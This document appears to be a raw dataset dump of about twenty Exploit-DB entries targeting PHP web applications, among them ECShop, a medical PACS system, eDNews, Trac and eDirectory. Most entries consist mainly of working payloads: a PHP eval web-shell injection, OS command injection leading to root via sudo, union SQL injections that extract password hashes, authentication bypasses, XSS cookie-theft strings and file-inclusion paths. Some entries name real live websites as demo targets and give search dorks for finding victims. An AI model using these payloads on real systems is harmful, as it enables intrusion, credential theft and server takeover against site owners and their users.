deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8827
Description: ecshop 2.6.2 - Multiple Remote Command Execution Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-29
Author: Securitylab.ir

Exploit:
 ######################### Securitylab.ir ########################
# Application Info:
# Name: ecshop
# Version: 2.6.2
# Website: http://www.ecshop.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: info@securitylab[dot]ir & K4mr4n_st@yahoo.com
#################################################################
#===========================================================
# :: integrate.php ::
#
# if ($_REQUEST['act'] == 'sync')
# {
# $size = 100;
# ......
# $tasks = array();
# if ($task_del > 0)
# {
# $tasks[] = array('task_name'=>sprintf($_LANG['task_del'], $task_del),'task_status'=>'<span id="task_del">' . $_LANG['task_uncomplete'] . '<span>');
# $sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 2";
# $del_list = $db->getCol($sql);//$del_list
# }
# if ($task_rename > 0)
# {
# $tasks[] = array('task_name'=>sprintf($_LANG['task_rename'], $task_rename),'task_status'=>'<span id="task_rename">' . $_LANG['task_uncomplete'] . '</span>');
# $sql = "SELECT user_name, alias FROM " . $ecs->table('users') . " WHERE flag = 3";
# $rename_list = $db->getAll($sql);//$rename_list
# }
# if ($task_ignore >0)
# {
# $sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 4";
# $ignore_list = $db->getCol($sql);//$ignore_list
# }
# ....
# $fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb');
# $log = '';
# if (isset($del_list))
# {
# $log .= '$del_list=' . var_export($del_list,true) . ';';
# }
# if (isset($rename_list))
# {
# $log .= '$rename_list=' . var_export($rename_list, true) . ';';
# }
# if (isset($ignore_list))
# {
# $log .= '$ignore_list=' . var_export($ignore_list, true) . ';';
# }
# fwrite($fp, $log);
# fclose($fp);
# $smarty->assign('tasks', $tasks);
# $smarty->assign('ur_here',$_LANG['user_sync']);
# $smarty->assign('size', $size);
# $smarty->display('integrates_sync.htm');
# }
#
#
# http://site.com/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?>
# http://site.com/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?>
# http://site.com/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?>
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-29]
Exploit-DB #33960
Description: ECShop 2.7.2 - 'category.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-07
Author: Liscker

Exploit:
source: https://www.securityfocus.com/bid/40001/info

ECShop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ECShop 2.7.2 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=15%20or%201=2

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2
Exploit-DB #49388
Description: ECSIMAGING PACS 6.21.5 - Remote code execution
Type: webapps
Platform: php
Date: 2021-01-07
Author: shoxxdj

Exploit:
# Exploit Title: ECSIMAGING PACS 6.21.5 - Remote code execution
# Date: 06/01/2021
# Exploit Author: shoxxdj
# Vendor Homepage: https://www.medicalexpo.fr/
# Version: 6.21.5 and bellow ( tested on 6.21.5,6.21.3 )
# Tested on: Linux

ECSIMAGING PACS Application in 6.21.5 and bellow suffers from a OS Injection vulnerability.
The parameter "file" on the webpage /showfile.php can be exploited with simple OS injection to gain root access.
www-data user has sudo NOPASSWD access :

/showfile.php?file=/etc/sudoers
[...]
www-data ALL=NOPASSWD: ALL
[...]

Command injection can be realized with the $IFS tricks : <url>/showfile.php?file=;ls$IFS-la$IFS/

/showfile.php?file=;sudo$IFS-l
[...]
User www-data may run the following commands on this host:
(root) NOPASSWD: ALL
[...]
Exploit-DB #49392
Description: ECSIMAGING PACS 6.21.5 - SQL injection
Type: webapps
Platform: php
Date: 2021-01-07
Author: shoxxdj

Exploit:
# Exploit Title: ECSIMAGING PACS 6.21.5 - SQL injection
# Date: 06/01/2021
# Exploit Author: shoxxdj
# Vendor Homepage: https://www.medicalexpo.fr/
# Version: 6.21.5 and bellow ( tested on 6.21.5,6.21.3 )
# Tested on: Linux

ECSIMAGING PACS Application in 6.21.5 and bellow suffers from  SQLinjection vulnerability
The parameter email is sensitive to SQL Injection (selected_db can be leaked in the parameters )

Payload example : /req_password_user.php?email=test@test.com' OR NOT 9856=9856-- nBwf&selected_db=xtp001
/req_password_user.php?email=test@test.com'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+&selected_db=xtp001

SQLMAP :  sqlmap.py -u '<URL>/req_password_user.php?email=test@test.com&selected_db=xtp001' --risk=3 --level=5
Exploit-DB #8848
Description: ecsportal rel 6.5 - 'article_view_photo.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-01
Author: taRentReXx

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ecsportal 6.5 - SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@~~=======================================~~@
!  ============taRentReXx===============    !
       The Indian Hacker
@~~=======================================~~@

@~~=Author   : taRentReXx

@~~=Email    : darkxr00tx@gmail.com

@~~===============INDIAN=================~~@


@~~=======================================~~@
@~~=Script   : Ecsportal 6.5

@~~=S.Site   : http://www.econtentsys.gr/

@~~=Dork     : Power with ecsportal rel 6.5
@~~=======================================~~@


@~~=Vul file :article_view_photo.php


@~~=Exploit :-

        

        article_view_photo.php?id=-999%20union%20all%20select%201,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54%20from%20ecsusers%20limit%200,1--


        !demo!
        
        http://www.cretaquarium.gr/article_view_photo.php?id=-999%20union%20all%20select%201,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54%20from%20ecsusers%20limit%200,1--




@~~=======================================~~@
@~~=======================================~~@

Greetz to all muslim brothers.
to all indians
TO str0ke

@~~===============INDIAN=================~~@

# milw0rm.com [2009-06-01]
Exploit-DB #26157
Description: ECW Shop 6.0.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-16
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/14578/info

ECW Shop is prone to a cross-site scripting vulnerability. This issue is due to a lack of proper sanitization of user-supplied input.

This type of exploitation could allow for theft of cookie-based authentication credentials; other attacks are also possible. 

http://www.example.com/index.php?c=srch&ctg=Cat_1&id=754ce025144839c2abe369c36d90d8e9&key=1&comp=1&min=1&max=><script>var%20xss=31337;alert(xss);</script
Exploit-DB #7604
Description: eDContainer 2.22 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-29
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|



eDContainer v2.22 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDContainer_v222.zip
Poc : /index.php?lg=../../../../index
Vuln Code :
File index.php

if ( isset($_REQUEST['lg']) ) { $INDEX['currentLanguage'] = $_REQUEST['lg']; } else if ( !isset( $INDEX['currentLanguage'] ) ) { 
 	$INDEX['currentLanguage']  = $CONFIG['language']['default'];
}
require_once 'myContents_'.$INDEX['currentLanguage'].'.php';
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-29]
Exploit-DB #40882
Description: Edge SkateShop - Authentication bypass
Type: webapps
Platform: php
Date: 2016-12-06
Author: Delilah

Exploit:
# Exploit Title: Edge SkateShop Authentication Bypass
# Date: 6/12/2016
# Exploit Author: Delilah
# Vendor HomePage: http://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html
# Software Link: http://www.sourcecodester.com/sites/default/files/download/gebbz/edgesketch.zip
# Tested on: xampp

go to http://localhost/EdgeSketch/adminlogin.php
 
username = admin' #
 
[CREDENTIAL_REDACTED]

# Proof of Concept:

POST /EdgeSketch/adminlogin.php HTTP/1.1
Host: 10.0.2.15
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15/EdgeSketch/
Cookie: PHPSESSID=5n96kq5kd17joptp1sivhm4tl4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

admin_username=admin'%20#&admin_[CREDENTIAL_REDACTED]_login=



HTTP/1.1 200 OK
Date: Tue, 06 Dec 2016 16:10:00 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
X-Powered-By: PHP/5.6.28
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 107
Connection: close
Content-Type: text/html; charset=UTF-8

<script>alert('You're successfully login!')</script><script>window.open('Admin/index.php','_self')</script>
Exploit-DB #14322
Description: Edgephp ClickBank Affiliate Marketplace Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-10
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Edgephp Clickbank Affiliate Marketplace Script Multiple
Vulnerability
Vendor url:http://www.edgephp.com
Version:1
Published: 2010-07-11
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Let your users search all listings or just show products from your niche. No
matter what interest brings visitors to your site, there's a good chance
those visits can be monetized with Clickbank.
CBQuick has just been improved again, is completely Clickbank TOS compliant,
and now includes the following:

Click Tracking
One Click Updates
No Duplicate Listings
Product Stats

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL:

http://server/index.php?search=[sqli]

*XSS Vulnerability

DEMO URL:

http://server/index.php?search=[xss]

*HTML Vulnerability

DEMO URL:

http://server/index.php?search=[html]

*URL Redirection

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #26732
Description: Edgewall Software Trac 0.7.1/0.8/0.9 Search Module - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-05
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/15720/info

Trac is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/trac/search?q=test\'
Exploit-DB #26693
Description: Edgewall Software Trac 0.9 Ticket Query Module - SQL Injection
Type: webapps
Platform: php
Date: 2005-12-01
Author: David Maciejak

Exploit:
source: https://www.securityfocus.com/bid/15676/info

Trac is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/trac/query?group=/*
Exploit-DB #46423
Description: eDirectory - SQL Injection
Type: webapps
Platform: php
Date: 2019-02-19
Author: Efrén Díaz

Exploit:
# Exploit Title: Admin auth bypass, SQLi and File Disclosure
# Google Dork: no defacers please !
# Date: March 2019 (reported to vendor without response :D)
# Exploit Author: Efren Diaz
# Author contact: https://twitter.com/elefr3n
# Vendor Homepage: https://www.edirectory.com/
# Software Link: not available
# Version: All versions
# Tested on: Ubuntu 14.04
# CVE : none

#DESCRIPTION
eDirectory is a software to create your own membership website, business directories, yellow pages, coupon sites, local guide, lead gen sites and more.


# SQL Injection
Links:
  - https://site.com/location.php?type=byId&id=[INT]&childLevel=[INT]&level=[SQLi]
  - https://site.com/sitemgr/login.php?key=[SQLi]

# Administrator Login Bypass
The login SQL injection can be useful for us to make a union SQL injection to avoid the administrator authentication and get access to the dashboard correctly. Sometimes you get a "Invalid key error", but the web application set to you correctly the cookie, if you got that error press F5 and you will be authenticated as an administrator
Link: https://site.com/sitemgr/login.php?key=' union select 0,1,0,'sitemgr' -- -

# File Disclosure (authenticated)
Note: only files with .php extension, but don't forget try null-byte in old php versions
Links:
  - https://site.com/sitemgr/langcenter/language_file.php?language_area=front&domain_id=1&language_id=[PATH]
  - https://site.com/sitemgr/configuration/geography/language/language_file.php?language_area=front&domain_id=1&language_id=[PATH]
Exploit-DB #29438
Description: Edit-X - 'Edit_Address.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-09
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/21974/info

Edit-x is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[editxPATH]/editx/edit_address.php?include_dir=HTTP://www.example2.com
Exploit-DB #34467
Description: Edit-X PHP CMS - 'search_text' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42442/info

Edit-X PHP CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?w=5&search_text=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #26625
Description: EdmoBBS 0.9 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15589/info

edmoBBS is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 


/edmobbs9r.php?messageID=1&table=[SQL]
/edmobbs9r.php?messageID=1[SQL]
Exploit-DB #7603
Description: eDNews 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-29
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|



eDNews v2 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDNews_v2.zip
Poc : /eDNews_archive.php?lg=../../../../index
Vuln Code :
File eDNews_archive.php

require_once dirname( __FILE__ ).'/myConfig.php';<< 1
require_once dirname( __FILE__ ).'/languages/'.$CONFIG['language'].'.php'; << 2

File myConfig.php

if ( isset( $_REQUEST['lg'] ) ) { 
    $CONFIG['language'] = $_REQUEST['lg']; 

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-29]
Exploit-DB #7619
Description: eDNews 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-29
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  #                 ...:::::eDNews v2 SQL Injection Vulnerability::::....               #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in eDNews_view.php:
line 22-23:
if ( isset( $_REQUEST['newsid'] ) ) {
 ${$CONFIG['fld_id']} = $_REQUEST['newsid'];
....
line 42-46:
$arr_select = array( $CONFIG['fld_id'], ''.$CONFIG['fld_title'].'', ''.$CONFIG['fld_content'].'',''.$CONFIG['fld_dateCreated'].'',''.$CONFIG['fld_score'] .'');
$arr_from = array($CONFIG['table']);
$where = $CONFIG['fld_id'].' = '.${$CONFIG['fld_id']};
$eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, null, 'extended', $CONFIG['debug'], null, '1' );
$arr_rst = $eDQuery_->getRecords();
---
exploit:
http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/*
-------
young iranian h4ck3rz

# milw0rm.com [2008-12-29]
Exploit-DB #4108
Description: eDocStore - 'doc.php?doc_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-25
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+            eDocStore Latest Versions Local File Inclusion Vulnerbilitys        +==--
--==+================================================================================+==--


AUTHOR: t0pP8uZz & xprog (good work xprog)

SCRIPT DOWNLOAD: N/A

SITE: http://www.edocstore.co.uk

DORK: intext:"Powered by eDocStore"


EXPLOITS:

EXPLOIT 1: http://www.server.com/essentials/minutes/doc.php?action=inline&doc_id=-1%20UNION%20ALL%20SELECT%200x2E2E2F696E6465782E706870,0x746578742F706C61696E,null,null,null,null,null


EXAMPLES:

EXAMPLE 1: http://www.nwal.org/essentials/minutes/doc.php?action=inline&doc_id=-1%20UNION%20ALL%20SELECT%200x2E2E2F696E6465782E706870,0x746578742F706C61696E,null,null,null,null,null

Note/Tip: The filename for the incluson has got to be hexed before you can include it.
Its only required to replace the first hex value before the ","

GREETZ: h4cky0u.org, G0t-Root.Net

FROM GM: Kw3[R]ln Get over it!

--==+================================================================================+==--
--==+            eDocStore Latest Versions Local File Inclusion Vulnerbilitys        +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-25]
Exploit-DB #45849
Description: EdTv 2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: EdTv 2 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://edtv.edsup.org/
# Software Link: https://ayera.dl.sourceforge.net/project/edtv/beta/edtv2go.zip
# Version: 2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Improper access restrictions...
# http://localhost/[PATH]:4001/edtv/index.php/admin/edit_source&?id=[SQL]
# 

# edtv//admin//edit_source.php
# ....
#02   $title="แก้ไขแหล่งข้อมูลสื่อ";
#03    $menu_def="edit_source";
#04   include("data_menu.php");
#05   
#06   load_fun("media");
#07   
#08   if($_POST['title']&&$_POST['url']){
#09       $ret=update_source($_GET['id'],$_POST['title'],$_POST['url']);
#10   }
#11   
#12   if($ret)redirect("admin/data_manage");
#13   
#14   $data=get_source($_GET['id']);
# ....

# edtv//admin//data_menu.php
# ....
#14         'edit_source' => array(
#15 		'title'=>'แก้ไขแหล่งข้อมูล',
#16 		'url'=>'admin/edit_source&?id='.$_GET['id'],
#17 		'cond'=>$_GET['id']>0,
#18 	),
# ....


GET /[PATH]/edtv/index.php/admin/edit_source&?id=-1%20union%20select%201,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5--%20- HTTP/1.1
Host: TARGET:4001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c826ffd1a4578bd07c258a5be3ab3482; token_id=[PII_REDACTED]
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 19:00:38 GMT
Server: Apache/2.2.15 (Win32) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5224
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

# POC: 
# 2) 
# Phpinfo()
# http://localhost/[PATH]:4001/edtv/info.php
#